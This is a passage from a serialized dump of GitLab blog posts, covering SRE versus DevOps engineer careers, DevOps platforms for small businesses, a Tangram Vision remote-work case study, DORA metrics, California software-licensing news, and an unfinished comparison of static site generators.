failures](https://thenewstack.io/the-evolution-of-the-site-reliability-engineer-sre/) that can impact the overall reliability of a cloud\napplication. \n\nAccording to Glassdoor, SREs typically require a Bachelor’s or graduate engineering or computer science degree. Salaries range widely, according to Glassdoor, hitting about $120,000 after 2 to 4 years of experience but can reach up to [$300,000 and higher](https://www.glassdoor.com/Salaries/us-site-reliability-engineer-salary-SRCH_IL.0,2_IN1_KO3,28.html) at the senior level.\n\nAt least one blogger feels [the SRE title](https://rootly.com/blog/should-you-be-an-sre-or-a-devops-engineer) carries more prestige and earning potential than DevOps engineers.\n\nTypical SRE responsibilities include everything from designing, developing, installing, and maintaining software solutions to working with engineering teams to refine deployment and release processes. Collaboration and communication are important job skills for the SRE role, as they need to work closely with multiple roles across the organization. At the time of this blog's publication, there were 4,000 SRE jobs on Glassdoor. Indeed had more than 5,000 SRE postings and ZipRecruiter showed [nearly 12,000 posts](https://www.ziprecruiter.com/candidate/search?radius=5000&amp;search=site+reliability+engineer&amp;location=Remote) for remote SRE jobs.\n\nPython, Go, and Java were the [most sought-after SRE skills](https://www.indeed.com/jobs=site%20Reliability%20Engineer&amp;l&amp;vjk=829f6081218e60bd) listed on Indeed.\n\nAccording to Indeed, SREs transition to \"DevOps engineer\" at a high rate.\n\n## DevOps engineers bridge the gap\n\nDevOps engineers, on the other hand, concentrate on removing obstacles to production and automation and [making development and IT work well together](https://harness.io/blog/sre-vs-devops/).\n\nLike SREs, DevOps engineers need to be good at working and communicating with others, eliminating barriers to increase speed and quality of code delivery. With typically less need to be on call, the DevOps engineer\nmay have a more favorable work-life balance than an SRE, who can have around-the-clock call.\n\nDevOps engineer work responsibilities include such things as analysis of technology utilized within the company and then developing steps and processes to improve and expand upon them. Project management is another key function, establishing milestones for departmental contributions and establishing processes to facilitate collaboration.\n\nThe educational requirements for the two roles are comparable, with a Bachelor’s degree in computer science or engineering or higher as the usual price of admission.\n\nAccording to Glassdoor, the salary range for DevOps engineers is slightly lower than that of SREs, from a low of about $63,000 up to a high of $234,000 for someone with [2 to 4 years of experience](https://www.glassdoor.com/Salaries/us-devops-engineer-salary-SRCH_IL.0,2_IN1_KO3,18.htm). \n\nDevOps engineer positions are easier to find than SREs. Glassdoor has more than 6,000 DevOps engineer job posts. Indeed has more than 17,000. And ZipRecruiter has [more than 81,000](https://www.ziprecruiter.com/candidate/search?radius=5000&amp;search=devops+engineer&amp;location=Remote) remote DevOps engineer listings.\n\n## New to the game\n\n[Cloud native](/topics/cloud-native) development and the desire to have a unified DevOps platform have brought a new role, the DevOps platform engineer, a position that [works in parallel with the site reliability engineering function](/topics/devops/what-is-a-devops-platform-engineer/).\n\nPlatform engineering teams apply development principles to accelerate software delivery, ensuring app dev teams are productive in all aspects of the lifecycle. Platform engineers focus on the entire software development lifecycle from source to production. From this introspective process, they build a workflow that enables application\ndevelopers to [rapidly code and ship software](https://www.getambassador.io/resources/rise-of-cloud-native-engineering-organizations/).\n\nYou can find a helpful description of the roles of SRE vs. DevOps engineer vs. platform engineer [here](https://iximiuz.com/en/posts/devops-sre-and-platform-engineering/).\n\nBut it’s hard to find much career data for this emerging role. Glassdoor, Indeed, and ZipRecruiter do not yet separate out this role from the category of “DevOps engineer,” and consolidated salary and career path data is not available at this time. It is reasonable to conclude this new role will have higher pay based on rarer skill sets and job experience. Suffice to say, this is a hot area and bears watching.\n\n## Benefits of a DevOps career\n\nThe DevOps industry (and technology as a whole) is constantly evolving. And that creates a lot of opportunities. There are lots of job opportunities cropping up based on how technology changes, and this also means that you can have many chances to learn a new skill and score a role where there is an employee shortage. \n\nThere is a high demand for fresh new talent who are also eager to keep learning and adapting to an ever-changing environment. And in this evolving world of DevOps, the more change that happens means there are endless learning opportunities that will help build you up professionally. This makes you a competitive hire in the future, as well as becoming part of a technological landscape that will always be needed. \n\n## Skills required for a DevOps career\n\nWhether you have goals to become an SRE, a full-fledged DevOps engineer, or start slow and figure out where you want to work in the DevOps space, there are both soft and technical skills that definitely are or may require for you to be successful in whichever role you pursue.\n\nSome soft skills include:\n\n1. **The ability to be flexible.** Projects can stop and start and change at any time for lots of reasons. Things break and get buggy on the regular.  Being able to go with that flow and maintain good levels of productivity and professionalism will take you far. \n2. **Good communication skills.** DevOps projects are rarely simple and not only require the ability to communicate your thoughts but the patience to listen to others. \n3. **Ability to work collaboratively.** There are multiple people involved with any given DevOps project. Be prepared to have discussions about various projects and be part of the development process as a team, not as an individual.\n\nSome of the more technical skills that can help your job pursuits include (but are by no means limited to):\n\n1. **CI/CD.** Aspiring engineers should look for ways to add CI/CD concepts to existing personal projects and code. Creating your own personal projects involving CI/CD is a good way to test your deployment skills while also creating a good proof of skills reference for job interviews. \n2. **Coding skills.** Familiarity with multiple languages, such as Rust, Java, JavaScript, Ruby, Python, PHP, Bash, and many more is important for a DevOps engineer. You need to be able to write and fix issues in multiple programming languages. \n3. **Cloud computing.** Lots of application infrastructures revolved around cloud technologies, so having a basic knowledge of cloud computing will give you a competitive edge. \n4. **Automation knowledge.** A lot of working in DevOps is being able to automate time-consuming processes that need to happen all at once. Diving into some automation knowledge will help you more easily integrate with a new DevOps role. \n\n## The future of DevOps\n\nAccording to a newer Forrester report, future success in DevOps will need people and their organizations to be open to a mindset and technology shift. New tools will come around, common practices may shift, and DevOps teams need to be able to adapt to changes while continuing to work together to deliver top-quality work. \n\nA few trends to keep an eye on as time progresses are serverless computerless architecture, [the rise of DevSecOps](/topics/devsecops/), and low-code/no-code development to deploy applications swiftly with higher agility.\n",[4103,7715,942],{"slug":14391,"featured":6,"template":678},"career-spotlight-sre-vs-devops-engineer-vs-devops-platform-engineer","content:en-us:blog:career-spotlight-sre-vs-devops-engineer-vs-devops-platform-engineer.yml","Career Spotlight Sre Vs Devops Engineer Vs Devops Platform Engineer","en-us/blog/career-spotlight-sre-vs-devops-engineer-vs-devops-platform-engineer.yml","en-us/blog/career-spotlight-sre-vs-devops-engineer-vs-devops-platform-engineer",{"_path":14397,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14398,"content":14404,"config":14408,"_id":14410,"_type":16,"title":14411,"_source":17,"_file":14412,"_stem":14413,"_extension":20},"/en-us/blog/how-a-devops-platform-can-help-solve-5-key-smb-frustrations",{"title":14399,"description":14400,"ogTitle":14399,"ogDescription":14400,"noIndex":6,"ogImage":14401,"ogUrl":14402,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14402,"schema":14403},"How a DevOps platform can help solve 5 key SMB frustrations","SMBs already wear all of the hats. Here are 5 ways a DevOps platform can ease the burden.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668242/Blog/Hero%20Images/assembly-3830652.jpg","https://about.gitlab.com/blog/how-a-devops-platform-can-help-solve-5-key-smb-frustrations","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How a DevOps platform can help solve 5 key SMB frustrations\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-04-25\",\n      }",{"title":14399,"description":14400,"authors":14405,"heroImage":14401,"date":14387,"body":14406,"category":962,"tags":14407},[3907],"\n\nStart-ups and small or medium-sized businesses (SMBs) face plenty of challenges, but several of those hurdles can be eased by [adopting a DevOps platform](https://page.gitlab.com/resources-ebook-smb-beginners-guide-devops.html). A DevOps platform can help not only address the issue at hand but the benefits can spread across the company, [helping it grow in a competitive and unpredictable market](/blog/6-ways-smbs-can-leverage-the-power-of-a-devops-platform/).\n\nThe United States alone is home to 32.5 million small businesses, making up 99.9 percent of all companies in the country, according to a [2021 report from the Small Business Administration’s Office of Advocacy](https://cdn.advocacy.sba.gov/wp-content/uploads/2021/08/30143723/Small-Business-Economic-Profile-US.pdf). And all of these companies have a tough road to travel – so tough that 20 percent of U.S. small businesses fail within the first year, according to the [U.S. Bureau of Labor Statistics](https://www.bls.gov/bdm/entrepreneurship/entrepreneurship.htm). By the end of the fifth year, about 50 percent are shuttered.\n\nStressed with common problems like worker overload, finding time for collaboration, and meeting customer and market needs, smaller businesses are under a lot of pressure. With SMBs and small or medium-sized enterprises (SMEs) facing such significant challenges, it only makes sense to streamline software development, [speed up deployments](/blog/pipelines-as-code/), automate repetitive tasks and [foster collaboration](/blog/collaboration-communication-best-practices/). Taking all those steps can greatly improve an SMB’s odds of success. \n\nHere’s how a DevOps platform can help take on some major SMB frustrations:\n\n## Ease worker fatigue and improve work/life balance\n\nSMBs, by definition, have fewer employees than their larger, more-established competitors. That means there are fewer people to take on all the tasks that need to be done. And that’s no different for the software development team, which could very well be a team of one. With everyone in an SMB having to wear so many hats and take on so many different jobs, it can be exhausting. That’s not only hard on productivity, it’s hard on employees’ work/life balance, and therefore not good for the business or the workforce.\n\nA DevOps platform offers an environment that fosters communication, collaboration and automation, which help ease the burdens on the IT staff. This will help [get work done more efficiently and faster](/blog/why-improving-continuously-speeds-up-delivery/), leaving employees with more time for other projects.\n\n## Satisfy customers\n\nHow can you find new customers when you’re not a household name? You do it by keeping the buyers you have and pulling in more by satisfying, and even delighting, your customer base. Satisfied consumers stick around, buy more, and give free word-of-mouth marketing.\n\nA DevOps platform helps SMBs create customer satisfaction by automating the customer feedback process and accelerating [software development and deployment](/blog/how-to-keep-up-with-ci-cd-best-practices/). \n\n## Increase communication and collaboration\n\nWorkers in start-ups and small businesses often take on a multitude of projects, and try to chip away at their burgeoning workflows. Meetings – within a department or cross-functional – may be either low priority or tough to arrange. A “heads’ down” attitude is understandable, but means different demographics and perspectives often won’t come together to [better innovate](/blog/pipelines-as-code/) and create more well-rounded products for a wider range of consumers. \n\nA DevOps platform promotes collaboration by eliminating barriers not just between IT workers but within an entire company. And that leads to more innovative features and products, improves productivity, and keeps employees happier and more engaged. Collaborative workers also are continuously learning from each other.\n\n## Adapt to the market with speed and agility\n\nEvery market can be unpredictable. New competitors appear. Customer expectations shift. Supply chain problems affect production. SMBs need to be able to change on a dime, to meet or get ahead of new demands and even new competitors.\n\nA DevOps platform [can keep a business of any size agile](/blog/can-an-smb-or-start-up-be-too-small-for-a-devops-platform/) by enabling a tech team to scale development and deployment to quickly and efficiently turning ideas into new features or new products.\n\n## Multiply a small business’ tech muscle\n\nSince small businesses, by definition, have fewer people, they obviously have smaller IT departments. They may even have a department of one. That can make it difficult to design, develop and deploy new software, not to mention come up with new and better ways to serve and communicate with customers and the supply chain. When [project planning is a joint, cross-functional effort](/blog/achieve-devsecops-collaboration/) it’s possible to do more with less. And having fewer DevOps tools involved - even having everyone use the same tool - can make a big difference.\n\nA DevOps platform, with automated options for everything from testing to monitoring and [doing GitOps with GitLab](/blog/the-ultimate-guide-to-gitops-with-gitlab/), can lessen the hands-on workload, giving IT people more time for other, more creative, projects.\n",[4103,2705,2368],{"slug":14409,"featured":6,"template":678},"how-a-devops-platform-can-help-solve-5-key-smb-frustrations","content:en-us:blog:how-a-devops-platform-can-help-solve-5-key-smb-frustrations.yml","How A Devops Platform Can Help Solve 5 Key Smb Frustrations","en-us/blog/how-a-devops-platform-can-help-solve-5-key-smb-frustrations.yml","en-us/blog/how-a-devops-platform-can-help-solve-5-key-smb-frustrations",{"_path":14415,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14416,"content":14422,"config":14428,"_id":14430,"_type":16,"title":14431,"_source":17,"_file":14432,"_stem":14433,"_extension":20},"/en-us/blog/making-remote-work-better",{"title":14417,"description":14418,"ogTitle":14417,"ogDescription":14418,"noIndex":6,"ogImage":14419,"ogUrl":14420,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14420,"schema":14421},"Tangram Vision engineers succeed at remote work with GitLab","The start-up's developers can collaborate efficiently, handling everything from merge requests to code reviews, and providing a single source of the truth.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668018/Blog/Hero%20Images/allremote.jpg","https://about.gitlab.com/blog/making-remote-work-better","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's DevOps platform enables Tangram Vision's engineering team to succeed at remote work\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Lauren Gibbons Paul\"}],\n        \"datePublished\": \"2022-04-21\",\n      }",{"title":14423,"description":14418,"authors":14424,"heroImage":14419,"date":14425,"body":14426,"category":962,"tags":14427},"GitLab's DevOps platform enables Tangram Vision's engineering team to succeed at remote work",[14386],"2022-04-21","\n\nOn March 14, 2020, Tangram Vision CEO Brandon Minor flew from Colorado into the Bay Area to meet with COO Adam Rodnitzky. The two had just launched [Tangram Vision](https://www.tangramvision.com/), the company they co-founded to make sensors simpler for robotics, drones, and autonomous vehicles. Their plan was to, each month, alternate working at each other's location. However, that week, the Covid-19 pandemic lockdown began, forcing them to scrap that plan and figure out how to successfully collaborate from afar.\n\n“We didn’t see each other in person again for a very long time. That kicked off our remote work experience,” Minor says.\n\nThe Tangram Vision engineering team started using GitLab's DevOps platform, which enabled them to work together without missing a beat. “GitLab was a key tool that allowed us to work really fluidly in a remote context,” says Minor. “Our engineering team has placed GitLab at the core of our remote workflow because it reinforces our values and perspectives around working well remotely.”\n\nThe Tangram Vision Platform takes care of complex perception tasks like sensor fusion, calibration, and diagnostics built on a scalable data backend that allows engineers to track, optimize, and analyze every sensor in their fleet. Tangram Vision’s SDK includes tools for rapid sensor integration, multi-sensor calibration, and sensor stability, saving robotics engineers months of engineering time.\n\n## Supporting complex collaboration\n\nPerception systems are notoriously hard to get up and running and then maintain over time because of important lower-level activities like sensor integration and calibration. “We make sure all the sensors' data is running smoothly, everything's working together perfectly to basically a plug-and-play level. And then we enable the developers working on top of that to monitor and correct their system over time,” Minor says. \n\nTangram Vision has just launched a user hub that functions as a centralized sensor data center. The user hub joins their multi-sensor calibration module, as well as a multiplexing module that maintains stream reliability for all connected sensors. Developers can access a starter set of perception development tools (Tangram Vision Platform - Basic), which will be available on an open-source hub. Much of the initial user feedback will come through and be managed within repositories hosted on GitLab, both public and private, Minor says.\n\n## GitLab as a core for code\n\nThe engineering team has evaluated other platforms, according to Greg Schafer, senior web architect. “We’ve looked around but we've been very turned off by them for one reason or another. We really haven't swayed in wanting to use GitLab as our core for code,” Schafer says. \n\nThe team uses GitLab to manage branches and merge requests (MRs), boosting efficiency and control. “We were having a bit of a struggle early on managing the short-term flow. It was hard to put down tasks to paper. So, I dove deep into GitLab to see how it could help us there. And now that's what we use. GitLab is my product management tool,” Minor says.\n\nThe alternative, siphoning MRs into tools like Notion and Slack, would have been too cumbersome. “Having code-focused discussions in those places would've been very awkward vs. our current orientation of having those discussions in GitLab. Having that history of MRs and threads has been very useful,” Schafer says.\n\nDoing all of the code reviews in the MR itself builds a paper trail of documentation for the future. That means the team can look back at exactly when a change was introduced and find any discussion about potential trade-offs next to a change. This gives the engineers confidence in understanding the context behind a change months or years after it has been introduced. “It encourages team members to be able to work asynchronously, as that context is not held in any single individual’s head but instead written and made explicit,” Minor says.\n\n## A host of features and options in GitLab\n\nFor Rodnitzky, what stands out about GitLab is that it has a host of features and options in one place. “It’s not just hosting code and MRs and all those discussions and things around that, but also the [continuous integration/continuous delivery], having that tightly integrated is really helpful,” he says. For example, there are different types of reports that might show up on the MRs. GitLab makes it easy to reference different CI steps in the MRs. \n\n“You're not jumping to different websites or services to do that. It’s all in one place, which is super helpful,” he says.\n\nMinor agrees, and adds, “The amount of oversight I have into every process going on, the transparency that gives me as a product manager to make the next decision has been invaluable.” \n\nIt’s not a stretch to say the transparency enabled by GitLab is reflected in Tangram Vision’s business model. “We’re transparent with our customers and developers,” says Minor. “There are a couple of morsels of code that will be private for a while, but, for the most part, the mission of the company is to make any engineer a computer vision engineer. To do that, a lot of education and openness is required. That’s already part of our culture.”\n",[2368,2705,4103],{"slug":14429,"featured":6,"template":678},"making-remote-work-better","content:en-us:blog:making-remote-work-better.yml","Making Remote Work Better","en-us/blog/making-remote-work-better.yml","en-us/blog/making-remote-work-better",{"_path":14435,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14436,"content":14442,"config":14447,"_id":14449,"_type":16,"title":14450,"_source":17,"_file":14451,"_stem":14452,"_extension":20},"/en-us/blog/how-the-dora-metrics-can-help-devops-team-performance",{"title":14437,"description":14438,"ogTitle":14437,"ogDescription":14438,"noIndex":6,"ogImage":14439,"ogUrl":14440,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14440,"schema":14441},"How the DORA metrics can help DevOps team performance ","The best DevOps teams measure their results. Here's a deep dive into the DORA metrics that matter.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749676702/Blog/Hero%20Images/data.jpg","https://about.gitlab.com/blog/how-the-dora-metrics-can-help-devops-team-performance","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How the DORA metrics can help DevOps team performance \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Aathira Nair\"}],\n        \"datePublished\": \"2022-04-20\",\n      }",{"title":14437,"description":14438,"authors":14443,"heroImage":14439,"date":14444,"body":14445,"category":962,"tags":14446},[2385],"2022-04-20","\n\n_Accelerated adoption of the cloud requires tools that aid in faster software delivery and performance measurements.  Delivering visibility across the value chain, the DORA metrics streamline alignment with business objectives, drive software velocity, and promote a collaborative culture._ \n\nSoftware delivery, operational efficiency, quality - there is no shortage of challenges around digital transformation for business leaders. \n\nCustomer satisfaction, a prominent business KPI, has paved the way for experimentation and faster analysis resulting in an increased volume of change in the software development lifecycle (SDLC). Leaders worldwide are helping drive this culture of innovation aligned with organization goals and objectives. However, it is not always about driving the culture alone; it is also about collaboration, visibility, velocity, and quality. \n\nCloud computing and microservices are driving the cloud-first approach for software delivery, helping to scale them independently, and allowing teams to move faster. But, without DevOps, the team doesn’t have the underlying core to move fast efficiently. DevOps has the power to enable the smallest changes that can have great effects. \n\nThis brings us to the question - how do you measure velocity and impact? Or how do you assess quality, and ensure that it is not hampered by velocity? The latter would be what is commonly referred to as technical debt.\n\n## A continuous journey needs continuous improvement\n\nAny improvement starts with measurement. Measuring and optimizing DevOps practices improves developer efficiency, overall team performance, and business outcomes. DevOps metrics demonstrate effectiveness, shaping a culture of innovation and ultimately overall digital transformation. In the [Accelerate State of DevOps 2021](https://cloud.google.com/blog/products/devops-sre/announcing-dora-2021-accelerate-state-of-devops-report) report by the DevOps Research and Assessment (DORA) team at Google Cloud, which draws insights from 7 years of data collection and research, four metrics are the key to measure software delivery performance.\n\n## What are these metrics?\n\n- Deployment Frequency\n- Lead time for changes\n- Time to restore service\n- Change failure rate\n\n### Deployment Frequency\n\nLet’s start with the velocity of development. Deployment frequency measures how often the organization deploys code to production or releases it to end users. This metric borrows from lean manufacturing concepts, wherein small multiple batch sizes are the preferred approach for higher efficiency and more rapid adjustments.\n\n### Lead time for changes\n\nNow comes the extent of automation in your processes. Lead time for changes measures the time needed to take a committed code to successfully run in production. This is one of the two metrics with significant variance in the data. \n\n### Time to restore service\n\nThis represents a business' capacity. Time to restore service measures the time needed to restore services to the level they were previously, in case of an incident. Here too we see significant variance in the data.\n\n### Change failure rate\n\nAnd finally, we take a look at quality. Changes which cause a failure in the system – a deployment failure, an incident, a rollback or a remedy – all contribute to measuring the change failure rate. \n\n## Driving visibility into the DevOps lifecycle\n\nRecently, Zoopla used DORA metrics to boost deployments and increase automation. Understanding the root cause of their problems helped them make informed adjustments in their process workflows, automation, tools, and more. They recognized the value of using a single platform to overcome roadblocks in velocity and innovation. This brought added visibility into their system which helped improve measurement and analytics. \n\nOur [2021 Global DevSecOps Survey](/developer-survey/) shows engineers are happier when they can focus on innovation and adding value than when maintaining integrations. In fact they would rather focus on higher quality documentation which can further amplify results of investments in DevOps capabilities. Documentation and visibility together drives team performance and competitive advantage. \n\nVisibility driven through [DORA metrics](https://docs.gitlab.com/ee/user/analytics/#supported-dora-metrics-in-gitlab) can uncover bottlenecks such as a dysfunction in code review, allowing management to identify causes of slowdowns in the DevOps lifecycle, and enable engineering leaders to align with business priorities. This delivers continuous improvement and progress towards business goals, promoting a collaborative culture across the organization.\n\nThe team at Zoopla used the GitLab DevOps platform to obtain metrics for deploy frequency, lead time, change fail rate, and time to onboard. \n\nimage_title: ![VSA-DORA](https://about.gitlab.com/images/blogimages/VSA-DORA.png)\n\nThe metrics helped influenced decision making and prioritization at Zoopla. Teams were encouraged to learn from the metrics, and incorporate changes into their planning cycles to keep on the path of continuous improvement. They were successful in measuring improvements and building an efficient engineering team that was flexible in responding to business needs. \n\n[Read more on [how Zoopla used DORA metrics for continuous improvement](/blog/how-zoopla-uses-dora-metrics-and-your-team-can-too/) and the [DORA metrics API in GitLab](https://docs.gitlab.com/ee/api/dora/metrics.html#devops-research-and-assessment-dora-key-metrics-api)]\n",[4103,7715,2368],{"slug":14448,"featured":6,"template":678},"how-the-dora-metrics-can-help-devops-team-performance","content:en-us:blog:how-the-dora-metrics-can-help-devops-team-performance.yml","How The Dora Metrics Can Help Devops Team Performance","en-us/blog/how-the-dora-metrics-can-help-devops-team-performance.yml","en-us/blog/how-the-dora-metrics-can-help-devops-team-performance",{"_path":14454,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14455,"content":14461,"config":14466,"_id":14468,"_type":16,"title":14469,"_source":17,"_file":14470,"_stem":14471,"_extension":20},"/en-us/blog/gitlab-is-now-an-approved-slp-vendor-in-california",{"title":14456,"description":14457,"ogTitle":14456,"ogDescription":14457,"noIndex":6,"ogImage":14458,"ogUrl":14459,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14459,"schema":14460},"GitLab is now an approved SLP vendor in California","State and local agencies in California can now purchase GitLab licenses at an agreed-upon discount.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668402/Blog/Hero%20Images/code-gitlab-tanuki.png","https://about.gitlab.com/blog/gitlab-is-now-an-approved-slp-vendor-in-california","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab is now an approved SLP vendor in California\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-04-19\",\n      }",{"title":14456,"description":14457,"authors":14462,"heroImage":14458,"date":14463,"body":14464,"category":962,"tags":14465},[711],"2022-04-19","GitLab is now an approved vendor under the Software Licensing Program (SLP) with the state of California. This contract allows state and local agencies, including educational institutions in California, to purchase GitLab software licenses at an agreed-upon discount, reducing costs and streamlining the procurement process. Under the contract, agencies will have greater access to GitLab’s complete DevOps solution, which empowers organizations to deliver software faster and more efficiently.\n\nEstablished in 1994, [California’s SLP](https://www.dgs.ca.gov/PD/About/Page-Content/PD-Branch-Intro-Accordion-List/Acquisitions/Software-Licensing-Program) is managed by the Procurement Division of the Department of General Services. The program provides government agencies and institutions with discounted rates for software licenses and upgrades, reducing the need for individual departments to conduct repetitive acquisitions. \n\n“There’s an exciting opportunity for public sector agencies to benefit from automated DevOps practices,” says [Bob Stevens](/company/team/#bstevens1), GitLab’s area vice president for Public Sector Federal. “This contract makes it simpler and more cost-effective for agencies to adopt The DevOps Platform, and deliver more resilient and efficient applications while keeping security at the forefront.”  \n\nGitLab believes that this contract, which makes The DevOps Platform more accessible and cost-effective, will expedite the broader adoption of DevOps in the [public sector](/solutions/public-sector/). GitLab’s single application will enable greater collaboration within public sector agencies, allowing teams to partner on planning, building, securing, and deploying software. \n\nTo streamline the process, GitLab will work with channel partners including [Acuity Technical Solutions](https://www.acuitytechnical.com), [Launch Consulting](https://www.launchconsulting.com) and [Veteran Enhanced Technology Solutions](https://veteranets.com/). \n\n“Public sector agencies are under tremendous pressure to transform and streamline their software development processes,” said [Michelle Hodges](/company/team/#mwhodges), GitLab’s vice president of global channels. “We’re proud to extend the power of our platform to a new network of customers via trusted channel partners and to help evolve the ways in which they collaborate on and deliver software.”",[4103,282,674],{"slug":14467,"featured":6,"template":678},"gitlab-is-now-an-approved-slp-vendor-in-california","content:en-us:blog:gitlab-is-now-an-approved-slp-vendor-in-california.yml","Gitlab Is Now An Approved Slp Vendor In California","en-us/blog/gitlab-is-now-an-approved-slp-vendor-in-california.yml","en-us/blog/gitlab-is-now-an-approved-slp-vendor-in-california",{"_path":14473,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14474,"content":14480,"config":14485,"_id":14487,"_type":16,"title":14488,"_source":17,"_file":14489,"_stem":14490,"_extension":20},"/en-us/blog/comparing-static-site-generators",{"title":14475,"description":14476,"ogTitle":14475,"ogDescription":14476,"noIndex":6,"ogImage":14477,"ogUrl":14478,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14478,"schema":14479},"How to choose the right static site generator","Here's an in-depth look at 6 static site generators that deploy to GitLab Pages.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682290/Blog/Hero%20Images/kelly-sikkema-gchfxsdcmje-unsplash-resized.jpg","https://about.gitlab.com/blog/comparing-static-site-generators","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to choose the right static site generator\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Fatima Sarah Khalid\"}],\n        \"datePublished\": \"2022-04-18\",\n      }",{"title":14475,"description":14476,"authors":14481,"heroImage":14477,"date":14482,"body":14483,"category":734,"tags":14484},[2700],"2022-04-18","\n\nMost websites today fall into two categories - dynamic sites and static sites:\n\n## Dynamic sites\n\nDynamic sites are interactive, and the user experience can be tailored to the visitor. These are the ones that might remember who you are across visits or deliver content that's most applicable to the region you're visiting from. They rely on a content management system (CMS) or database for rendering and can continue to grow in complexity as the organization's needs grow. \n\n## Static sites\n\nStatic sites, however, generally display the same content to all users. They use server-side rendering to serve HTML, CSS, and Javascript files. While CMS backends have made dynamic sites easier to launch and maintain, static sites continue to grow in popularity.\n\n## What is a static site generator?\n\nA static site generator (SSG) is a software tool that generates a static website by processing plain text files that contain the websites content and markup. The resulting website consists of a set of HTML, CSS, and JavaScript files, and other assets, that can be served by a web server to visitors.\n\nTo use a static site generator, you typically write your website's' content in a markup language like Markdown, and use a templating language to define the website's layout and structure. You then run the static site generator to generate the final set of HTML, CSS, and JavaScript files, which can be deployed to a web server or content delivery network (CDN) for visitors to access.\n\n## Benefits of using a static site generator\n\nStatic sites' advantages include speed, security, and SEO. They're also easy to maintain and highly scalable. Because the static site generators store an already-compiled page on a CDN, they load a lot faster.\n\nAs static site generators are comprised solely of static files, no database is required, resulting in many additional benefits:\n\n* There is no need to spend valuable time querying the database or running any resource-intensive server-side scripts.\n\n* There are no extraneous libraries, no databases, or other features that a dynamic generator is built with. All you have are static files. Therefore, it’s very simple to work with and migrate as needed.\n\n* There’s no database for would-be hackers to attack. \n\n* Since there is no need for scripts to run on a file-based generator, scaling is very easy without overwhelming your server.\n\nAll static site generators can be exciting and fun, but some require time and effort on configurations, detailed templating, or management tweaks. My team and I joke that I am one of the top blog-less SSG experts, so in this blog post, I’ll walk you through a toolkit for evaluating your project and then share some SSGs that deploy to GitLab Pages. \n\nHere are the SSGs I'll review in this post:\n\n- [**Hugo**](https://gohugo.io/) is written in Go with support for multi-language sites and complex content strategy.\n- [**Zola**](https://www.getzola.org) is written in Rust with a single binary, no dependencies, and flexible features like Sass compilation.\n- [**Jekyll**](https://jekyllrb.com/) is written in Ruby, built for blogging, and has a large collection of plugins and themes.\n- [**Hexo**](https://hexo.io/) is Node.js based with support for multiple templating engines, integrations with NPM packages, and one command deployment.\n- [**GatsbyJS**](https://www.gatsbyjs.com/) is React-based, works with any CMS, API, or database, and can be used for building headless experiences.\n- [**Astro**](https://gitlab.com/pages/astro) is Javascript-based, supports multiple frameworks, and is known for on-demand rendering via partial hydration.\n\n##  An Evaluation Toolkit\n\nWith so many static site generators available, selecting one for your project can be overwhelming. When evaluating which SSG is right for you, here are a few things to consider about your project, use case, and the type of work you're looking to put into the site. \n\n**Identify the use case**\n\nIt’s important to understand your site's needs, purpose, and content. Are you building a personal blog, a landing page for a product, or documentation for a tech project? Consider whether you need a streamlined editor experience, content, and interactions with your user. The better you can identify the experience you'd like your visitors to have, the easier it will be to pick the feature set that can best support it. \n\n**Specify languages and frameworks**\n\nThere are so many static site generators out there that you can find one in nearly every language and framework. Consider whether you want to learn a new language or use something you're familiar with. Depending on how much time you’d like to invest in setting up, you should also review the installation details and see if you’re familiar with the templating language, dependencies, and theming layer. \n\n**Review the ecosystem**\n\nMany static site generators will have starter repositories or sample sites where you can play around with functionality and components before diving into your project. When reviewing the ecosystem, think about the limitations of the templating engine and whether you’ll need dynamic or Javascript components, and how you’ll include them. Some generators will have out-of-the-box or community-contributed plugins and extensions. \n\n**Check out the community**\n\nThere are often Discord or forum communities where you can get support, share ideas, review cases studies, and see what other people are building. Some of the most popular generators might even have conferences or workshops for getting started on more complex topics. \n\n**Identify the specialty** \n\nFrom microblogging to academic portfolios and small business sites, static site generators cover various use cases for different people. Each SSG has its own thing, whether it’s the framework it uses, a unique feature in its templating language, or the size of the installation binary.\n\n## The Single Binary Approach \n\nSome static site generators install a single binary and don't require complex dependency management. The single binary approach gets things set up quickly and easily. It is also easier for non-technical or academic users since you can pass the executable around for installation and use a markup language like Markdown to write content. \n\n[**Hugo**](https://gohugo.io/) is written in Go, a statically compiled language, with support for multiple platforms. The Hugo binary can be downloaded and run from anywhere and is simple to install, with no runtime dependencies or installation process. Upgrades involve downloading a new binary, and you're all set. Hugo supports unlimited content types, taxonomies, dynamic content driven from an API, multi-lingual sites, and markdown. It also ships with premade templates making it easy to get started with menus and site maps. \n\nOne of the advantages of using Hugo is that it doesn't depend on client-side JS. It also has a thriving community with many prebuilt themes and starter repositories. There is an [existing sample site in Hugo that deploys to GitLab pages](https://gitlab.com/pages/hugo). If you're migrating to Hugo from another SSG, you can use the [hugo import](https://gohugo.io/commands/hugo_import/) command or one of the [community-developed migration tools](https://gohugo.io/tools/migrations/). There's a [Hugo site 